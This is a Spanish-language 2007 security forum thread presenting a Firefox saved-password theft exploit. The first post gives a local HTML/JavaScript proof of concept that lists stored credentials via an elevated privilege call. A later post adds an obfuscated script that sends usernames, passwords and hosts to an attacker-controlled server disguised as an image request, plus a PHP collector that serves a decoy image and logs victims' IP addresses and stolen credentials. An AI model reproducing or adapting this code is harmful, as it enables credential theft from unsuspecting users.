elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 21:52  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  [PoC + Exploit] Robando contraseñas del Firefox
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PoC + Exploit] Robando contraseñas del Firefox  (Leído 3,037 veces)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
[PoC + Exploit] Robando contraseñas del Firefox
« en: 13 Junio 2007, 18:19 »

Código:
<html>
<head>
<script>

document.write('<img src="http://www.0x000000.com/hacks/red_dress.gif"><br><br>');
/*
- It would be possible to glue all these passwords on the image above, and I could capture them in my logs.
- I could call a remote PHP script which submits the passwords.
- This shows how dangerous trusted content can be, imagine you open a HELP file from a piece of software you downloaded,
you are never sure your passwords are send to some server.
- Thanks to Mozilla for this flawed security model, I heard this won't work anymore in FF 3.0 Well, we'll see.
*/

setTimeout("listPW()",1000);

function listPW() {
if(document.location !='http://www.0x000000.com/hacks/hello.html') {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var pm = Components.classes["@mozilla.org/passwordmanager;1"].getService();
pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
var enumerator = pm.enumerator;
document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
document.writeln('<br><br>');
while (enumerator.hasMoreElements()) {
try {
var np = enumerator.getNext();
np = np.QueryInterface(Components.interfaces.nsIPassword);
presult = '['+np.user+'] ['+np.password+'] ['+np.host+'] <br>';
document.writeln(presult);
}
catch(e) { }
}
} else {
alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!');
}
}

</script>

</head>
<body>
<img src="hello_files/red_dress.gif"><br><br>
</body>
</html>


A día de hoy (19/06/07) todas las versiones del Mozilla Firefox son vulnerables...

Exploit: http://foro.elhacker.net/index.php/topic,168001.msg793457.html#msg793457

PD: Tan solo funciona cuando se ejecuta localmente.
« Última modificación: 14 Junio 2007, 15:10 por YeIk0s » En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [PoC] Robando contraseñas del Firefox
« Respuesta #1 en: 13 Junio 2007, 18:34 »

eso no es todo :P
simplemente con esto:
Código:
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
podemos abrir sockets, modificar archivos, etc..
igual si instalan un "addon", o aceptan un javascript firmado (este ultimo vale aun si es remoto)

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: [PoC] Robando contraseñas del Firefox
« Respuesta #2 en: 13 Junio 2007, 19:54 »

Últimamente Firefox me está decepcionando un poco...  :-\
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: [PoC] Robando contraseñas del Firefox
« Respuesta #3 en: 13 Junio 2007, 21:41 »

nahh recuerda..
"its not a bug, its a feature"
:D

al tratar de agregar interactividad, se sacrifica un poco de seguridad.. lo mismo pasa en internetexplorer.. no te preocupes (aunque IE saca una alerta amarilla super molesta).

Saludos!!
En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: [PoC] Robando contraseñas del Firefox
« Respuesta #4 en: 14 Junio 2007, 12:55 »

Aquí os dejo esto que acabo de programar...

El nombre del archivo PHP debe de ser img.php (por defecto), esto dependederá del valor que le hayamos dado a la variable img del javascript. Da igual la extension que le pongamos a la variable, tan solo está para despistar, ya que al final acabará transformandose en .PHP, por ejemplo:

Código:
var = "myimage.jpge"; >> myimage.php

En este último ejemplo el nombre del fichero PHP al que se llamará será myimage.php .

Código:
<script>
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
img = "img.jpg"; var sm = "uspastestr()";
var pm = Components.classes["@mozilla.org/"+sm.substr(2,3)+"swordmanager;1"].getService();
pm = pm.QueryInterface(eval("Components.interfaces.nsI"+sm.charAt(2).toUpperCase()+sm.substr(3,2)+"swordManager"));
var enumerator = pm.enumerator; var str = ''; while (enumerator.hasMoreElements()) {
try { var np = enumerator.getNext();
np = np.QueryInterface(eval("Components.interfaces.nsI"+sm.charAt(2).toUpperCase()+sm.substr(3,2)+"sword"));
presult = '['+eval("np."+sm.substr(0,2)+"er")+','+eval("np."+sm.substr(2,3)+"sword")+','+np.host+']'+String.fromCharCode(172); str += presult;
} catch(e) { } } 
img = img.concat("?str=").replace(img.substr(-3,3),sm.charAt(2)+"h"+sm.charAt(2))+str;
var str = "<img src=\"http://[server]/"+img+"\">";
document.write(str);  setTimeout("window.stop()",1000);

</script>

En el código PHP tan solo hay que modificar la variable $imagen, a la cual se le asignará el nombre de la imagen que verá el usuario.

Código:
<?php
header("Content-type: image/jpeg");
$img = imagecreatefromjpeg("img.jpg");
imagejpeg($img);
imagedestroy($img);

$strRnd=date("His");
$strFecha=date("H:i:s d/m/y ");
$strIP = getenv("REMOTE_ADDR");
$strUserAgent =  htmlentities($_SERVER['HTTP_USER_AGENT']);
$strReferer = htmlentities($_SERVER['HTTP_REFERER']); if (strlen($strReferer) == 0) { $strReferer = "Ninguna"; }
$str = $_GET['str'];
$str=str_replace(chr(172),"<br>",$str);

$fp = fopen("fox-".$strRnd.".html","w+");
fwrite($fp, "Fecha: ".$strFecha."<br> Direccion IP: ".$strIP."<br> Referencia: ".$strReferer."<br> User-Agent: ".$strUserAgent.
"<br><br>".$str."<br>");
fclose($fp);
?>
« Última modificación: 14 Junio 2007, 14:14 por YeIk0s » En línea
NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: [PoC + Exploit] Robando contraseñas del Firefox
« Respuesta #5 en: 15 Junio 2007, 13:55 »

Hombre... Al ejecutar el primer código me da un pedazo mensaje en el que sólo un zoquete apretaría permitir!!

Así que, sigo quedándome con mi firefox :P
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines